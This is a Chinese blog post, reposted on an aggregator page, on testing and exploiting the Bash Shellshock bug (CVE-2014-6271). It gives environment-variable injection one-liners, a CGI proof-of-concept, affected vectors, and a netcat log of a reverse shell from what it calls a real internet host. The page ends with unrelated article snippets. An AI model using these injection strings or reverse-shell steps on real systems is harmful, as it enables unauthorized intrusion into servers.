BASH BUG:cve-2014-6271验证与利用_svdata的博客-程序员秘密

技术标签: 系统安全  运维  bug  bash bug  

来源:[email protected]网络攻防实验室

Stephane Schazelas最近发现BASH的一个BUG,问题在于BASH在处理环境变量的时候,这个漏洞影响bash版本1.14 - 4.3,

受影响的发行版本包括:

    Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution

    CentOS (versions 5 through 7)

    Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS

    Debian

本地测试方法:

1
env  x= '() { :;}; echo vulnerable'  bash  -c  "echo this is a test"


t0129f235ae54b5e2e7.png

上面是我在kali上的测试结果

远程测试方法:

首先用BASH写一个CGI


   
[email protected]:/usr/lib/cgi-bin# cat bug.sh 
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</ht


放到/usr/lib/cgi-bin里,然后用curl访问

t01d6097d39f13dfdf5.png

能打印出环境变量了。说明能够正常访问了。下面我们来反弹一个SHELL

t015f21b27db40b514a.png

访问看结果

t01f842c1e72f699ec0.png

后续其他的测试还在进行中。


注:android版本的bash也受影响

t01bb3bd6075ab529ad.png

参考文档:

http://arstechnica.com/security/2014/09/bug-in-bash-shell-creates-big-security-hole-on-anything-with-nix-in-it/

https://www.invisiblethreat.ca/2014/09/cve-2014-6271/

实际互联网测试例子:

[email protected]:~# nc -vvlp 8080
listening on [any] 8080 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 41997
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),50001(gforge),50002(stats),50003(news),50006(tmp)
$ exit
sent 8, rcvd 161


成功利用一个,这居然是perl脚本,cgi的运行都受到影响。思考:难道是因为#!这个的意思,启动。。。启动。。。^_^

   

sh-4.1$ head moon.cgi
head moon.cgi
#!/usr/bin/perl
#
# moon.cgi
#       Display a Moon image using the skycalc  program
#     by John Thorstensen and images generated by mp.
#
# Brian Casey
# Imagiware, Inc.



我自己机器的perl cgi没有利用成功,猜想和web server有关系,哎,还是知识不够。

老外文章有提到条件:

Apache server using mod_cgi or mod_cgid are affected if CGI scripts are either written in bash, or spawn subshells. Such subshells are implicitly used by system/popen in C, by os.system/os.popen in Python, system/exec in PHP (when run in CGI mode), and open/system in Perl if a shell is used (which depends on the command string)

ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access.

DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.

Various daemons and SUID/privileged programs may execute shell scripts with environment variable values set / influenced by the user, which would allow for arbitrary commands to be run.

Any other application which is hooked onto a shell or runs a shell script as using bash as the interpreter. Shell scripts which do not export variables are not vulnerable to this issue, even if they process untrusted content and store it in (unexported) shell variables and open subshells.

刚刚那个moon.cgi的perl脚本里面估计调用了oepn/exec之类的fork了bash

另外出的补丁,好像也能绕过,参考这里

https://twitter.com/taviso/status/514887394294652929

利用:

1
env  lol='() { (nothing)=>\' sh -c  "echo date" echo  “vulnerable"


老外说的SSH利用,是需要账号的,更多的是越权,参考

https://about.gitlab.com/2014/09/24/gitlab-shell-and-bash-cve-2014-6271/

老外的SNORT的防护规则

http://www.volexity.com/blog/?p=19

另一个互联网实际的反弹SHELL例子:

http://p8.qhimg.com/t01a4e3324b51e66d4b.png

http://p1.qhimg.com/t01dff9efa8f5554ac4.png


版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/open_data/article/details/45113967

智能推荐

SQL Server 驱动__Zephyrus_的博客-程序员秘密

https://sourceforge.net/projects/jtds/

用for循环实现1~100偶数求和_用for循环求1到100的偶数和_暧昧忆故人的博客-程序员秘密

sum1 = 0for i in range(2,101,2): sum1 = sum1 + iprint(sum1)# 方式2sum2 = 0for i in range(101): if i % 2 == 0: sum2 = sum2 + iprint(sum2)

echarts Tree树图实现点击一个节点,关闭另一个节点(点击一个节点展示其子节点,收缩其余兄弟节点的子节点)_ILY酱油王的博客-程序员秘密

echarts Tree实现手风琴模式工具组件说明效果说明代码实现实现效果工具组件说明echarts:一个使用 JavaScript 实现的开源可视化库,ECharts 提供了常规的折线图、柱状图、散点图、饼图、K线图,用于统计的盒形图,用于地理数据可视化的地图、热力图、线图,用于关系数据可视化的关系图、treemap、旭日图,多维数据可视化的平行坐标,还有用于 BI 的漏斗图,仪表盘,并且支...

如何更好地使用Kotlin语法糖封装工具类_普通网友的博客-程序员秘密

/ 今日科技快讯 /据外媒报道,欧盟委员会周三宣布,已对美国芯片巨头英伟达收购英国芯片设计公司Arm的交易展开正式反竞争调查。英伟达于2020年9月宣布斥资400亿美元从日本软银集...

OIS协议分层模型_松阳的博客-程序员秘密

协议分层共有7层,如下表: OSI中的层功能TCP/IP协议族应用层文件传输,电子邮件,文件服务,虚拟终端TFTP,HTTP,SNMP,FTP,SMTP,DNS,RIP,Telnet

c#串口通信(四)--串口数据丢失或分段原因及串口事件的说明_c# 串口事件_Yyuanyuxin的博客-程序员秘密

最近在软件调试中,发现数据一长就经常丢失数据,所以耐下心了解了一些原理,用较为简单的理解方式记录下来。题外话:一般来说,半双工通信需要添加一个超时时间,当超过这个时间后,就判定接收失败了,之前的缓存数据也要清空。个人选择定时器的方式,至于如何计算超时,公式如下:数据所需时常=总数据长度10/波特率。对于我的数据,最长为1237字节,波特率选择9600,则需要耗时123710/9600=1.28854…,基本为1.3秒,所以我设置了串口的超时时间为3秒。发送后如果3秒没接收到数据,就算超时,直接发下

随便推点

Intellij中格式化mapper.xml整齐_idea格式化mapper.xml_梁云亮的博客-程序员秘密

默认情况下Intellij在格式化mapper.xml文件时,代码会变得非常乱不易查看,采用如下配置可以使格式化后的代码变得整齐。

【Android开发】 startActivityForResult() 被弃用问题_startactivityforresult(android.content.intent, int_Hovf-1120的博客-程序员秘密

startActivityForResult() 被弃用问题之前说过启动另一个 activity 可以通过用 Activity 类提供的 startActivityForResult() 和 onActivityResult() 的 API 来获取另一个 activity 返回的结果,但是现在我们现在会发现使用这样的 API 产生了错误提示。'startActivityForResult(Intent!, Int): Unit' is deprecated /** * Call {@l

哈希函数哈希表小结_万凌峰的博客-程序员秘密

哈希函数又称散列函数、离散函数实现哈希函数的形式有很多种,常见的有MD5、SHA1等加密算法性质:    1.输入域无穷,输出域有限 (java中hashCode返回值为int(-2^31~2^31-1)    2哈希函数不是随机函数相同的输入值输出一定相同  same input ,same output    3.哈希碰撞:因为输入域是无限大,输出域是有限的就会导致不同的输入可能会映射相同的输...

ubuntu 12.04 64 oracle 11g,Ubuntu 12.04.3 安装 Oracle11gR2_weixin_3991652的博客-程序员秘密

#step 1:groupadd -g 2000 dbauseradd -g 2000 -m -s /bin/bash -u 2000 griduseradd -g 2000 -m -s /bin/bash -u 2005 oraclemkdir -p /u01/app/gridmkdir -p /u01/app/oraclechown grid:dba /u01/app/gridcho...

VS2015 + Qt5.9.2开发中无法打开源文件“ui_*.h” 和 error MSB6006: “cmd.exe”已退出,代码为 3之解决办法。..._weixin_34121282的博客-程序员秘密

转载请注明出处:http://www.cnblogs.com/liangliu/p/8118149.htmlVS2015中新建的QtGuiApplication项目,总是显示#include "ui_XXXXX.h"出错,找不到源文件"ui_XXXXX.h",在文件XXXXX.ui上右键再点击编译,编译未通过,提示------》》》无法打开源文件“ui_*.h” 和 error M...

为静态化的杰奇加上动态的点击数统计_iziminy的博客-程序员秘密

杰奇静态化后,很多站点就不用它的信息页面了,但是直接用目录页做小说页有一个问题就是,没法统计点击数和没法做评论,评论的稍后再说,点击数其实可以有一个很方便的方法来解决。通过增加一个javascript来计数就可以了。具体可以看莽荒纪这本小说,地址http://zenshu.com/manghuangji/ ,这个页面的计数就是动态的。通过  这段代码,可以对本书的点击数进行统计

推荐文章

热门文章

相关标签